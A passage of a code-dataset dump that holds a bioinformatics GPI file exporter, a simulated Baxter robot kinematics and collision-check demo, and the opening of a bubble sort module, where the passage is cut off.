ftp_export -f gpi -d /path/to/destination --test\n\nGPI format documentation:\nhttp://geneontology.org/page/gene-product-information-gpi-format\n\nExample GPI file:\nftp://ftp.ebi.ac.uk/pub/databases/intact/current/various/intact_complex.gpi\n\"\"\"\n\n\nclass GpiExporter(FtpBase):\n \"\"\"\n Export RNAcentral species-specific ids in GPI format.\n \"\"\"\n def __init__(self, *args, **kwargs):\n \"\"\"\n Setup file path and store command line options.\n \"\"\"\n super(GpiExporter, self).__init__(*args, **kwargs)\n self.subdirectory = self.make_subdirectory(self.destination,\n self.subfolders['gpi'])\n self.filepath = os.path.join(self.subdirectory, 'rnacentral.gpi')\n self.precursor_rna = defaultdict(list)\n\n def export(self):\n \"\"\"\n Main export function.\n \"\"\"\n self.logger.info('Exporting gpi file %s' % self.filepath)\n self.get_mirna_precursors()\n self.write_gpi_file()\n self.clean_up()\n self.logger.info('GPI export complete')\n\n def write_gpi_file(self):\n \"\"\"\n Write GPI file.\n \"\"\"\n sql = \"\"\"\n SELECT upi, taxid, description, rna_type\n FROM rnc_rna_precomputed\n WHERE taxid IS NOT NULL\n AND rna_type IS NOT NULL\n AND description IS NOT NULL\n AND is_active = true\n {test}\n \"\"\"\n if self.test:\n test = \"AND rna_type='miRNA'\"\n else:\n test = ''\n with cursor() as cur:\n cur.execute(sql.format(test=test))\n with open(self.filepath, 'w') as filehandle:\n filehandle.write('!gpi-version: 1.2\\n')\n for counter, result in enumerate(cur):\n line = self.format_gpi_line(result)\n filehandle.write(line)\n if self.test and counter > self.test_entries:\n break\n assert os.path.exists(self.filepath)\n self.test_unique_ids(self.filepath)\n self.test_none_taxids(self.filepath)\n self.gzip_file(self.filepath)\n\n def get_mirna_precursor_line(self, upi_taxid):\n \"\"\"\n Format precursor_rna line.\n \"\"\"\n if upi_taxid in self.precursor_rna:\n return 'precursor_rna=' + ','.join(set(self.precursor_rna[upi_taxid]))\n else:\n return ''\n\n def format_gpi_line(self, result):\n \"\"\"\n Export a result row as a string in GPI format.\n \"\"\"\n upi_taxid = '{upi}_{taxid}'.format(upi=result['upi'], taxid=result['taxid'])\n # the order of array elements defines the field order in the output\n keys = ['database', 'DB_Object_ID', 'DB_Object_Symbol',\n 'DB_Object_Name', 'DB_Object_Synonym', 'DB_Object_Type',\n 'Taxon', 'Parent_Object_ID', 'DB_Xref',\n 'Gene_Product_Properties']\n data = dict()\n for key in keys:\n data[key] = ''\n data['database'] = 'RNAcentral'\n data['DB_Object_Name'] = result['description']\n data['DB_Object_ID'] = upi_taxid\n data['Taxon'] = 'taxon:{taxon}'.format(taxon=result['taxid'])\n data['DB_Object_Type'] = so_terms.get_label(result['rna_type'])\n data['Gene_Product_Properties'] = self.get_mirna_precursor_line(upi_taxid)\n # safeguard against breaking tsv format\n for key in keys:\n data[key] = data[key].replace('\\t', ' ')\n return '\\t'.join([data[key] for key in keys]) + '\\n'\n\n def get_mirna_precursors(self):\n \"\"\"\n Get miRNA precursors from miRBase for mature miRNAs.\n \"\"\"\n sql = \"\"\"\n\t\tSELECT\n\t\t t1.upi as precursor, t4.upi as mature, t1.taxid\n\t\tFROM xref t1\n\t\tINNER JOIN rnc_accessions t2\n\t\tON (t1.ac = t2.accession)\n\t\tINNER JOIN rnc_accessions t3\n\t\tON (t2.external_id = t3.external_id)\n\t\tINNER JOIN xref t4\n\t\tON (t3.accession = t4.ac)\n\t\tWHERE\n t1.dbid = 4\n AND t1.deleted = 'N'\n AND t2.accession != t3.accession\n AND t2.feature_name = 'precursor_RNA'\n AND t3.feature_name != 'precursor_RNA'\n AND t4.dbid = t1.dbid\n AND t1.upi != t4.upi\n AND t1.taxid = t4.taxid\n \"\"\"\n self.logger.info('Looking for miRBase miRNA precursors')\n with cursor() as cur:\n cur.execute(sql)\n for result in cur:\n upi_taxid = '%s_%i' % (result['mature'], result['taxid'])\n self.precursor_rna[upi_taxid].append(result['precursor'])\n count = len(self.precursor_rna)\n self.logger.info('Found %i mature RNAs with precursors', count)\n\n @staticmethod\n def test_unique_ids(filename):\n \"\"\"\n Test uniqueness of URS_taxid identifiers.\n \"\"\"\n cmd = ['cat %s | wc -l' % filename]\n number_of_lines = subprocess.check_output(cmd, shell=True).strip()\n cmd = [\"sort -u -t$'\\t' -k2,2 %s | wc -l\" % filename]\n number_of_unique_ids = subprocess.check_output(cmd, shell=True).strip()\n assert number_of_lines == number_of_unique_ids\n\n @staticmethod\n def test_none_taxids(filename):\n \"\"\"\n Test that there are no None taxids.\n \"\"\"\n cmd = ['grep _None %s | wc -l' % filename]\n none_taxids = subprocess.check_output(cmd, shell=True).strip()\n assert int(none_taxids) == 0\n","sub_path":"rnacentral/portal/management/commands/ftp_exporters/gpi.py","file_name":"gpi.py","file_ext":"py","file_size_in_byte":6461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"15852129","text":"import sys\nimport vrep\nimport time\nimport math\nimport numpy as np\nfrom scipy.linalg import expm, logm\n\n# Run our Baxter Demonstration. Based off the sample code in 'test.py'\n# from Professor Bretl.\n\nrack_names = [\"Dummy_rack_1\", \"Dummy_rack_2\", \"Dummy_rack_3\", \"Dummy_rack_4\", \"Dummy_rack_5\", \"Dummy_rack_6\", \"Dummy_rack_7\", \"Dummy_rack_8\", \"Dummy_rack_9\", \"Dummy_rack_10\", \"Dummy_rack_11\", \"Dummy_rack_12\"]\nrack_diam = 0.5\n\nbody_names = [\"Dummy_body_low\"]\nbody_diam = [0.4]\n\narm_names = [\"Dummy_left_joint1\", \"Dummy_left_joint2\", \"Dummy_left_joint4\", \"Dummy_left_joint6\", \"Dummy_left_hand\", \"Dummy_right_joint1\", \"Dummy_right_joint2\", \"Dummy_right_joint4\", \"Dummy_right_joint6\", \"Dummy_right_hand\"]\narm_diam = [0.25, 0.3, 0.3, 0.3, 0.2, 0.25, 0.3, 0.3, 0.3, 0.2]\n\nself_diam = body_diam.copy()\nself_diam.extend(arm_diam)\n\n# Get the skew symmetric matrix of an array\ndef skew(arr):\n\tmat = np.zeros((3,3))\n\tmat[0][1] = -1 * arr[2]\n\tmat[0][2] = arr[1]\n\tmat[1][0] = arr[2]\n\tmat[1][2] = -1 * arr[0]\n\tmat[2][0] = -1 * arr[1]\n\tmat[2][1] = arr[0]\n\treturn mat\n\n# Get the actual values from a skew-symmetric matrix\ndef unskew(mat):\n\treturn np.array([[mat[2][1]], [mat[0][2]], [mat[1][0]]])\n\n# Convert degrees to radians\ndef degToRad(angle):\n\treturn angle * math.pi / 180\n\n# Get the bracket of a screw\ndef bracket(v):\n\tBracket = np.zeros((4,4))\n\tBracket[0:3,0:3] = skew(v[0:3])\n\tBracket[0:3,3] = np.transpose(v[3:])\n\treturn Bracket\n\n# Get the adjoint of a pose matrix\ndef adjoint(t):\n\tAde = np.zeros((6,6))\n\tAde[0:3,0:3] = t[0:3,0:3]\n\tAde[3:,3:] = t[0:3,0:3]\n\tAde[3:,0:3] = np.dot(skew(t[0:3,3]), t[0:3,0:3])\n\treturn Ade\n\n# Get the screw axis from the vector 'a' (a,b,c) that points along\n# the axis of rotation and a point 'q' (d,e,f) that lies on the axis.\ndef screw(a,b,c,d,e,f):\n\ts = np.zeros(6)\n\ts[0:3] = np.array([a,b,c])\n\ts[3:] = -1*np.dot(skew(np.array([a,b,c])), np.array([d,e,f]))\n\treturn s\n\n# Turn a bracketed V into a twist\ndef twist(v):\n\tTwist = np.zeros(6)\n\tTwist[0:3] = np.transpose(unskew(v[0:3,0:3]))\n\tTwist[3:] = v[0:3,3]\n\treturn Twist\n\n# Compute a space jacobian\ndef spaceJacobian(S, theta):\n\tJ = np.zeros((6,len(theta)))\n\n\tfor i in range(len(theta)):\n\t\tif i == 0:\n\t\t\tJ[:,i] = S[:,i]\n\t\telse:\n\t\t\tproduct = 1\n\t\t\tfor j in range(i):\n\t\t\t\tproduct = np.dot(product, expm(bracket(S[:,j])*theta[j]))\n\n\t\t\tJ[:,i] = np.dot(adjoint(product), S[:,i])\n\n\treturn J\n\n# Convert a rotation matrix to euler angles\ndef rotationMatrixToEulerAngles(R) :\n\n x = math.atan2(-R[1,2],R[2,2])\n y = math.asin(R[0,2])\n z = math.atan2(-R[0,1],R[0,0])\n \n return np.array([x, y, z])\n\n\ndef testJoint(joint_handle, jointID, clientID):\n\n\ttime.sleep(2)\n\n\t# Get the initial value of the joint variable\n\tresult, theta0 = vrep.simxGetJointPosition(clientID, joint_handle, vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t raise Exception(\"Could not get joint variable {}\".format(jointID+1))\n\tprint(\"Current value of joint {} variable: theta = {:f}\".format(jointID+1,theta0))\n\n\t# Set the desired value of the joint variable\n\tvrep.simxSetJointTargetPosition(clientID, joint_handle, theta0 + np.pi, vrep.simx_opmode_oneshot)\n\n\ttime.sleep(2)\n\n\t# Get the value of the joint variable after moving it once\n\tresult, theta1 = vrep.simxGetJointPosition(clientID, joint_handle, vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t raise Exception(\"Could not get joint variable {}\".format(jointID+1))\n\tprint(\"Current value of joint {} variable: theta = {:f}\".format(jointID+1,theta1))\n\n\t# Set the desired value of the joint variable\n\tvrep.simxSetJointTargetPosition(clientID, joint_handle, theta0 - np.pi, vrep.simx_opmode_oneshot)\n\n\ttime.sleep(4)\n\n\t# Get the value of the joint variable after moving it again\n\tresult, theta2 = vrep.simxGetJointPosition(clientID, joint_handle, vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t raise Exception(\"Could not get joint variable {}\".format(jointID+1))\n\tprint(\"Current value of joint {} variable: theta = {:f}\\n\".format(jointID+1,theta2))\n\n\t# Set the desired value of the joint variable back to the initial state\n\tvrep.simxSetJointTargetPosition(clientID, joint_handle, theta0, vrep.simx_opmode_oneshot)\n\ndef testGripper(gripper_handle, gripperID, gripper_Pos, clientID):\n\n\ttime.sleep(1)\n\n\t# Close the gripper\n\t# vrep.simxSetJointTargetPosition(clientID, gripper_handle, -gripper_Pos, vrep.simx_opmode_oneshot)\n\t# time.sleep(1)\n\n\tresult, theta = vrep.simxGetJointPosition(clientID, gripper_handle, vrep.simx_opmode_blocking)\n\tprint(\"Theta is {}\".format(theta))\n\n\t# Open the gripper\n\tvrep.simxSetJointTargetPosition(clientID, gripper_handle, theta - np.pi, vrep.simx_opmode_oneshot)\n\ttime.sleep(1)\n\n\tresult, theta = vrep.simxGetJointPosition(clientID, gripper_handle, vrep.simx_opmode_blocking)\n\tprint(\"Theta is {}\".format(theta))\n\n\t# Hold the gripper\n\tvrep.simxSetJointTargetPosition(clientID, gripper_handle, 0, vrep.simx_opmode_oneshot)\n\ttime.sleep(1)\n\n# Move all the joints of an arm\ndef testArm(arm, clientID):\n\tarmID = \"Baxter_\" + arm + \"Arm_joint\"\n\tprint(\"Moving {} arm.\\n\".format(arm))\n\n\tfor i in range(7):\n\t\tprint(\"Joint: {}\".format(i+1))\n\t\t# Get \"handle\" to the a joint of the robot\n\t\tresult, joint_handle = vrep.simxGetObjectHandle(clientID, armID + str(i+1), vrep.simx_opmode_blocking)\n\t\tif result != vrep.simx_return_ok:\n\t\t raise Exception(\"Could not get object handle for {} arm joint {}\".format(arm, i+1))\n\n\t\ttestJoint(joint_handle, i, clientID)\n\n\n# Rotate the torso\ndef moveTorso(clientID,theta,test=False):\n\tprint(\"Moving torso\\n\")\n\t# Get \"handle\" to the torso joint\n\tresult, joint_handle = vrep.simxGetObjectHandle(clientID, \"Baxter_rotationJoint\", vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t raise Exception(\"Could not get object handle for rotation joint\")\n\tif test:\n\t\ttestJoint(joint_handle, 0, clientID)\n\telse:\n\t\tvrep.simxSetJointTargetPosition(clientID, joint_handle, degToRad(theta), vrep.simx_opmode_oneshot)\n\n# Move the gripper\ndef moveGripper1(clientID):\n\tprint(\"Test Gripper 1\\n\")\n\tresult, gripper_handle = vrep.simxGetObjectHandle(clientID, \"BarrettHand_jointB_0\", vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t\traise Execption(\"Could not get object handle for gripper\")\n\n\ttestGripper(gripper_handle, \"BarrettHand_jointB_0\", 1, clientID)\n\ndef moveGripper2(clientID):\n\tprint(\"Test Gripper 2\\n\")\n\tresult, gripper_handle = vrep.simxGetObjectHandle(clientID, \"JacoHand1_fingers12_motor1\", vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t\traise Execption(\"Could not get object handle for gripper\")\n\n\ttestGripper(gripper_handle, \"JacoHand1_fingers12_motor1\", 1, clientID)\n\t\n# Move the dummy reference frame to the given pose.\ndef moveFrame(clientID, frameID, pose):\n\n\tresult, frame_handle = vrep.simxGetObjectHandle(clientID, frameID, vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t raise Exception(\"Could not get object handle for the Reference Frame object\")\n\n\n\tposition = pose[0:3,3]\n\torientation = pose[0:3,0:3]\n\n\tvrep.simxSetObjectPosition(clientID, frame_handle, -1, position, vrep.simx_opmode_oneshot)\n\tvrep.simxSetObjectOrientation(clientID, frame_handle, frame_handle, rotationMatrixToEulerAngles(orientation), vrep.simx_opmode_oneshot)\n\t#vrep.simxSetObjectQuaternion(clientID, frame_handle, -1, rotationMatrixToQuaternion(orientation), vrep.simx_opmode_oneshot)\n\n# Move an arm to a set of joint variables\ndef moveArm(arm, clientID, thetas):\n\tarmID = \"Baxter_\" + arm + \"Arm_joint\"\n\tprint(\"Moving {} arm.\\n\".format(arm))\n\n\tfor i in range(7):\n\t\t# Get \"handle\" to the a joint of the robot\n\t\tresult, joint_handle = vrep.simxGetObjectHandle(clientID, armID + str(i+1), vrep.simx_opmode_blocking)\n\t\tif result != vrep.simx_return_ok:\n\t\t raise Exception(\"Could not get object handle for {} arm joint {}\".format(arm, i+1))\n\n\t\t# Set the desired value of the joint variable\n\t\tvrep.simxSetJointTargetPosition(clientID, joint_handle, degToRad(thetas[i]), vrep.simx_opmode_oneshot)\n\n\n\n# Compute the predicted pose for the tool frame given a set of joint variables.\ndef forwardKinematics(M, S, thetas):\n\n\tproduct = 1\n\tfor s in range(len(thetas)):\n\t\tproduct = np.dot(product, expm(bracket(S[:,s])*degToRad(thetas[s])))\n\n\tT = np.dot(product, M)\n\treturn T\n\n# Find a set of joint variables to reach the goal pose\ndef inverseKinematics(goal, M, S):\n\ttheta = np.random.rand(S.shape[1])\n\t# theta = np.zeros(S.shape[1])\n\tV_error = 5\n\ttheta_error = 5\n\ttries = 0\n\twhile V_error > 0.1 or theta_error > 0.01:\n\t\tif tries > 100:\n\t\t\treturn theta, False\n\n\t\tT = forwardKinematics(M, S, theta)\n\t\tV_bracket = logm(np.dot(goal, np.linalg.inv(T)))\n\t\tV = twist(V_bracket)\n\t\tJ = spaceJacobian(S, theta)\n\n\t\t# Theta = Theta + [ (JT * J + 0.00001*I)^-1 * (JT * V) ] - [ (I - J#J) * Theta ]\n\t\ttheta_dot = np.dot(np.linalg.inv(np.dot(np.transpose(J), J) + 0.1*np.identity(8)), np.dot(np.transpose(J), V)) - np.dot(np.identity(8) - np.dot(np.linalg.pinv(J), J), theta)\n\t\ttheta = theta + theta_dot\n\t\tV_error = np.linalg.norm(V)\n\t\ttheta_error = np.linalg.norm(theta_dot)\n\t\tprint(\"V Error: {}, Theta Error: {}\".format(V_error, theta_error))\n\t\ttries += 1\n\n\treturn theta, True\n\n# Check if a set of thetas found from inverse kinematics are possible for Baxter\ndef checkThetas(thetas, arm):\n\t#print(thetas)\n\tif thetas[0] < -2.967 or thetas[0] > 2.967:\n\t\treturn False\t\n\tif thetas[1] < -1.7016 or thetas[1] > 1.7016:\n\t\treturn False\n\tif thetas[2] < -2.147 or thetas[2] > 1.047:\n\t\treturn False\n\tif thetas[3] < -3.0541 or thetas[3] > 3.0541:\n\t\treturn False\n\tif thetas[4] < -0.05 or thetas[4] > 2.618:\n\t\treturn False\n\tif thetas[5] < -3.059 or thetas[5] > 3.059:\n\t\treturn False\n\tif thetas[6] < -1.5707 or thetas[6] > 2.094:\n\t\treturn False\n\tif thetas[7] < -3.059 or thetas[7] > 3.059:\n\t\treturn False\n\treturn True\n\n\n# Move the dummy frames to a pose calculated with Forward Kinematics and then\n# move the arms to the provided joint variables\ndef moveArmsAndFrames(clientID, MLeft, SLeft, MRight, SRight, thetas):\n\n\tsetOne = thetas\n\tsetTwo = [-1*thetas[0], thetas[1], -1*thetas[2], thetas[3], -1*thetas[4], thetas[5], thetas[6]]\n\n\tposeOne = forwardKinematics(MLeft, SLeft, setOne)\n\tposeTwo = forwardKinematics(MRight, SRight, setTwo)\n\n\tmoveArm(\"left\", clientID, setOne)\n\tmoveArm(\"right\", clientID, setTwo)\n\n\n\n# move the arm using inverse kinematics\ndef moveArmAndFrame(clientID, M, S, pose, arm, frame):\n\n\t# Get handles for the frames so we can move them back to the origin when we're done with them\n\tresult, frame_handle = vrep.simxGetObjectHandle(clientID, frame, vrep.simx_opmode_blocking)\n\tif result != vrep.simx_return_ok:\n\t raise Exception(\"Could not get object handle for the Reference Frame object\")\n\n\n\tmoveFrame(clientID, frame, pose)\n\n\ttime.sleep(2)\n\n\tvalidThetas = False\n\ttries = 0\n\twhile not validThetas:\n\t\tif tries > 10:\n\t\t\tbreak\n\n\t\tthetas, result = inverseKinematics(pose, M, S)\n\n\t\tif not result:\n\t\t\tbreak\n\n\t\tprint(\"++++++++++++++++++++++++++++++++++++++\")\n\t\tvalidThetas = checkThetas(thetas, arm)\n\t\t# validThetas = True\n\t\ttries += 1\n\n\tif not validThetas:\n\t\t# Couldn't find a valid set of thetas to reach the goal pose\n\t\tmoveTorso(clientID, 0, test=True)\n\telse:\n\t\tmoveTorso(clientID, thetas[0])\n\t\tmoveArm(arm, clientID, thetas[1:])\n\n\ttime.sleep(3)\n\n\tvrep.simxSetObjectPosition(clientID, frame_handle, -1, [0,0,0], vrep.simx_opmode_oneshot)\n\n\ndef poseFromTranslationAndRotation(x, y, z, alpha, beta, gamma):\n\tpose = np.zeros((4,4))\n\tpose[0,3] = x\n\tpose[1,3] = y\n\tpose[2,3] = z\n\tpose[3,3] = 1\n\n\tx_rot = np.array([[1, 0, 0],\n\t\t\t\t\t [0, math.cos(degToRad(alpha)), -1*math.sin(degToRad(alpha))],\n\t\t\t\t\t [0, math.sin(degToRad(alpha)), math.cos(degToRad(alpha))]])\n\n\ty_rot = np.array([[math.cos(degToRad(beta)), 0, math.sin(degToRad(beta))],\n\t\t\t\t\t [0, 1, 0],\n\t\t\t\t\t [-1*math.sin(degToRad(beta)), 0, math.cos(degToRad(beta))]])\n\n\tz_rot = np.array([[math.cos(degToRad(gamma)), -1*math.sin(degToRad(gamma)), 0],\n\t\t\t\t\t [math.sin(degToRad(gamma)), math.cos(degToRad(gamma)), 0],\n\t\t\t\t\t [0, 0, 1]])\n\n\trotation = np.dot(np.dot(x_rot, y_rot), z_rot)\n\tpose[0:3,0:3] = rotation\n\treturn pose\n\n\n# Update sphere centers using forward kinematics\ndef updateCenters(clientID, centers, SLeft, SRight, thetas, FK=True):\n\tnew_centers = []\n\n\tif FK:\n\t\tleft_thetas = thetas.copy()\n\t\tright_thetas = [thetas[0], -1*thetas[1], thetas[2], -1*thetas[3], thetas[4], -1*thetas[5], thetas[6], thetas[7]]\n\n\t\tjoints_to_add = [0,1,3,5,7]\n\t\tfor i in range(5):\n\t\t\told_position = np.block([centers[i], 1])\n\t\t\tnew_position = forwardKinematics(old_position, SLeft[:,:joints_to_add[i]+1], left_thetas[:joints_to_add[i]+1])\n\t\t\tnew_centers.append(new_position[0:3])\n\n\t\tfor j in range(5):\n\t\t\told_position = np.block([centers[j+5], 1])\n\t\t\tnew_position = forwardKinematics(old_position, SRight[:,:joints_to_add[j]+1], right_thetas[:joints_to_add[j]+1])\n\t\t\tnew_centers.append(new_position[0:3])\n\n\telse:\n\t\tnew_centers = []\n\t\tfor h in range(len(arm_names)):\n\t\t\tresult, dummy_handle = vrep.simxGetObjectHandle(clientID, arm_names[h], vrep.simx_opmode_blocking)\n\t\t\tif result != vrep.simx_return_ok:\n\t\t\t\traise Exception(\"Could not get object handle for the Dummy object\")\n\n\t\t\tstatus, position = vrep.simxGetObjectPosition(clientID, dummy_handle, -1, vrep.simx_opmode_blocking)\n\t\t\tnew_centers.append(np.array(position))\n\n\treturn new_centers\n\n\n# Check for collision\ndef checkCollision(arm_centers, body_centers, rack_centers):\n\n\t# Check for rack collision\n\tfor a in range(len(arm_names)):\n\t\tcenter = arm_centers[a]\n\n\t\tfor r in range(len(rack_names)):\n\t\t\track = rack_centers[r]\n\n\t\t\tif np.linalg.norm(center - rack) < arm_diam[a]/2 + rack_diam/2:\n\t\t\t\treturn True\n\n\t# Check for self-collision\n\tself_centers = body_centers.copy()\n\tself_centers.extend(arm_centers)\n\ttotal = len(arm_names) + len(body_names)\n\tfor i in range(total):\n\t\tfor j in range(total-1-i):\n\t\t\tif np.linalg.norm(self_centers[i] - self_centers[j+i+1]) < self_diam[i]/2 + self_diam[j+i+1]/2:\n\t\t\t\treturn True\n\n\treturn False\n\n\n# Notify of collision with a colored dummy\ndef notifyCollision(clientID, collision, offset):\n\n\t# Create red dummy if in collsion\n\tif collision:\n\t\tresult, handle = vrep.simxCreateDummy(clientID, 0.3, [255,0,0] , vrep.simx_opmode_blocking)\n\n\t\tvrep.simxSetObjectPosition(clientID, handle, -1, [1.5, -2.5+(0.35*offset), 0], vrep.simx_opmode_oneshot)\n\n\t\treturn handle\n\n\t# Create green dummy if in collision\n\telse:\n\t\tresult, handle = vrep.simxCreateDummy(clientID, 0.3,[0,255,0], vrep.simx_opmode_blocking)\n\n\t\tvrep.simxSetObjectPosition(clientID, handle, -1, [1.5,-2.5+(0.35*offset), 0], vrep.simx_opmode_oneshot)\n\n\t\treturn handle\n\n# Clear the dummies\ndef clearNotifications(clientID, dummies):\n\tfor handle in dummies:\n\t\tvrep.simxRemoveObject(clientID, handle, vrep.simx_opmode_oneshot)\n\n\n# Connect to V-Rep and start the simulation\ndef main(args):\n\n\t# Close all open connections (just in case)\n\tvrep.simxFinish(-1)\n\n\t# Connect to V-REP (raise exception on failure)\n\tclientID = vrep.simxStart('127.0.0.1', 19997, True, True, 5000, 5)\n\tif clientID == -1:\n\t raise Exception('Failed connecting to remote API server')\n\n\t# Start simulation\n\tvrep.simxStartSimulation(clientID, vrep.simx_opmode_oneshot)\n\n\tMLeft = np.array([[-1, 0, 0, -0.1278],\n\t\t\t\t \t [0, 0, 1, 1.3363],\n\t\t\t\t [0, 1, 0, 1.2445],\n\t\t\t\t [0, 0, 0, 1]])\n\n\tSLeft = np.zeros((6,8))\n\tSLeft[:,0] = screw(0, 0, 1, 0.0103, 0.0147, 0)\n\tSLeft[:,1] = screw(0, 0, 1, -0.1278, 0.2630, 0)\n\tSLeft[:,2] = screw(-1, 0, 0, -0.1278, 0.310, 1.3244)\n\tSLeft[:,3] = screw(0, 1, 0, -0.1278, 0.4140, 1.3244)\n\tSLeft[:,4] = screw(-1, 0, 0, -0.1278, 0.6765, 1.2554)\n\tSLeft[:,5] = screw(0, 1, 0, -0.1278, 0.7801, 1.2554)\n\tSLeft[:,6] = screw(-1, 0, 0, -0.1278, 1.0508, 1.2454)\n\tSLeft[:,7] = screw(0, 1, 0, -0.1278, 1.1667, 1.2454)\n\n\tMRight = np.array([[0, 0, 1, 1.332],\n\t\t\t\t [1, 0, 0, -0.12287],\n\t\t\t\t [0, 1, 0, 1.2445],\n\t\t\t\t [0, 0, 0, 1]])\n\n\tSRight = np.zeros((6,8))\n\tSRight[:,0] = screw(0, 0, 1, 0.0103, 0.0147, 0)\n\tSRight[:,1] = screw(0, 0, 1, 0.2387, -0.1230, 0)\n\tSRight[:,2] = screw(0, 1, 0, 0.3077, -0.1230, 1.3244)\n\tSRight[:,3] = screw(1, 0, 0, 0.4097, -0.1230, 1.3244)\n\tSRight[:,4] = screw(0, 1, 0, 0.6722, -0.1230, 1.2554)\n\tSRight[:,5] = screw(1, 0, 0, 0.7758, -0.1230, 1.2554)\n\tSRight[:,6] = screw(0, 1, 0, 1.0465, -0.1230, 1.2454)\n\tSRight[:,7] = screw(1, 0, 0, 1.1624, -0.1230, 1.2454)\n\n\n\track_centers = []\n\tbody_centers = []\n\tarm_centers = []\n\n\tfor j in range(len(rack_names)):\n\t\tresult, dummy_handle = vrep.simxGetObjectHandle(clientID, rack_names[j], vrep.simx_opmode_blocking)\n\t\tif result != vrep.simx_return_ok:\n\t\t raise Exception(\"Could not get object handle for the Dummy object\")\n\n\t\tstatus, position = vrep.simxGetObjectPosition(clientID, dummy_handle, -1, vrep.simx_opmode_blocking)\n\t\track_centers.append(np.array(position))\n\n\tfor k in range(len(body_names)):\n\t\tresult, dummy_handle = vrep.simxGetObjectHandle(clientID, body_names[k], vrep.simx_opmode_blocking)\n\t\tif result != vrep.simx_return_ok:\n\t\t raise Exception(\"Could not get object handle for the Dummy object\")\n\n\t\tstatus, position = vrep.simxGetObjectPosition(clientID, dummy_handle, -1, vrep.simx_opmode_blocking)\n\t\tbody_centers.append(np.array(position))\n\n\tfor h in range(len(arm_names)):\n\t\tresult, dummy_handle = vrep.simxGetObjectHandle(clientID, arm_names[h], vrep.simx_opmode_blocking)\n\t\tif result != vrep.simx_return_ok:\n\t\t raise Exception(\"Could not get object handle for the Dummy object\")\n\n\t\tstatus, position = vrep.simxGetObjectPosition(clientID, dummy_handle, -1, vrep.simx_opmode_blocking)\n\t\tarm_centers.append(np.array(position))\n\n\tdummy_list = []\n\n\t# Curl, no collision\n\tthetas = [-45, -45, 60, 170, 0, 0, 0, 50]\n\n\tfor i in range(10):\n\n\t\tmoveTorso(clientID, thetas[0])\n\t\tmoveArmsAndFrames(clientID, MLeft, SLeft, MRight, SRight, thetas[1:])\n\n\t\tupdated_arm_centers = updateCenters(clientID, arm_centers, SLeft, SRight, thetas)\n\n\t\ttime.sleep(0.3)\n\n\t\tcollision = checkCollision(updated_arm_centers, body_centers, rack_centers)\n\t\tprint(collision)\n\t\tdummy_handle = notifyCollision(clientID, collision, i)\n\t\tdummy_list.append(dummy_handle)\n\n\t\ttime.sleep(0.5)\n\n\t\tthetas[4] += 15\n\n\ttime.sleep(2)\n\n\tclearNotifications(clientID, dummy_list)\n\tdummy_list = []\n\n\t# Hit the rack\n\tthetas2 = [20, -20, 0, -30, 20, -40, -30, 45]\n\n\tfor j in range(14):\n\n\t\tmoveTorso(clientID, thetas2[0])\n\t\tmoveArmsAndFrames(clientID, MLeft, SLeft, MRight, SRight, thetas2[1:])\n\n\t\t# Use this line to update the centers using forward kinematics:\n\t\t#updated_arm_centers = updateCenters(clientID, arm_centers, SLeft, SRight, thetas2)\n\n\t\t# Use this line to update the centers using API calls:\n\t\tupdated_arm_centers = updateCenters(clientID, arm_centers, SLeft, SRight, thetas2, FK=False)\n\n\t\ttime.sleep(0.3)\n\n\t\tcollision = checkCollision(updated_arm_centers, body_centers, rack_centers)\n\t\tprint(collision)\n\t\tdummy_handle = notifyCollision(clientID, collision, j)\n\t\tdummy_list.append(dummy_handle)\n\n\t\ttime.sleep(0.5)\n\n\t\tthetas2[0] += 5\n\t\tthetas2[1] += 10\n\n\ttime.sleep(2)\n\n\tclearNotifications(clientID, dummy_list)\n\tdummy_list = []\n\n\t# Bad curl, self-collision\n\tthetas3 = [-45, -20, 50, -90, 0, 0, 0, 90]\n\n\tfor k in range(14):\n\n\t\tmoveTorso(clientID, thetas3[0])\n\t\tmoveArmsAndFrames(clientID, MLeft, SLeft, MRight, SRight, thetas3[1:])\n\n\t\tupdated_arm_centers = updateCenters(clientID, arm_centers, SLeft, SRight, thetas3)\n\n\t\ttime.sleep(0.3)\n\n\t\tcollision = checkCollision(updated_arm_centers, body_centers, rack_centers)\n\t\tprint(collision)\n\t\tdummy_handle = notifyCollision(clientID, collision, k)\n\t\tdummy_list.append(dummy_handle)\n\n\t\ttime.sleep(0.5)\n\n\t\tthetas3[3] += -2\n\t\tthetas3[4] += 10\n\n\n\ttime.sleep(2)\n\n\tclearNotifications(clientID, dummy_list)\n\n\tmoveTorso(clientID, 0)\n\tmoveArmsAndFrames(clientID, MLeft, SLeft, MRight, SRight, [0,0,0,0,0,0,0])\n\n\ttime.sleep(2)\n\n\t# Stop simulation\n\tvrep.simxStopSimulation(clientID, vrep.simx_opmode_oneshot)\n\n\t# Before closing the connection to V-REP, make sure that the last command sent out had time to arrive. You can guarantee this with (for example):\n\tvrep.simxGetPingTime(clientID)\n\n\t# Close the connection to V-REP\n\tvrep.simxFinish(clientID)\n\n\nif __name__==\"__main__\":\n\tmain(sys.argv)","sub_path":"collision.py","file_name":"collision.py","file_ext":"py","file_size_in_byte":19995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"463032245","text":"import argparse\n\n\ndef call_bubble_sort(unsort_list):\n \"\"\"\n Implement Bubble Sort\n - Input:\n + list: list of integer numbers want to sort.\n - Output: Sorted list of integer numbers.\n - Big O Notation:\n + Best case - O(n): List had already sorted\n + Average case - O(n^2)\n + Worst case - O(n^2): List had already sorted in reverse\n \"\"\"\n # Limit the length of list, always decrease one unit when pass one loop\n for limit in range(len(unsort_list) - 1, 0, -1):\n traverse_list_bubble(unsort_list, limit)\n\n\ndef traverse_list_bubble(unsort_list, limit):\n \"\"\"\n Use to traverse the list with the limit:\n + Compare to value in index & index + 1\n + If value of index > value of index + 1: swap\n \"\"\"\n # Linear traverse the list\n for index in range(limit):\n # Check if next value greater than present value: swap\n if unsort_list[index] > unsort_list[index + 1]:\n swap_element(unsort_list, index, index + 1)\n print_sort_list(unsort_list)\n\n\ndef 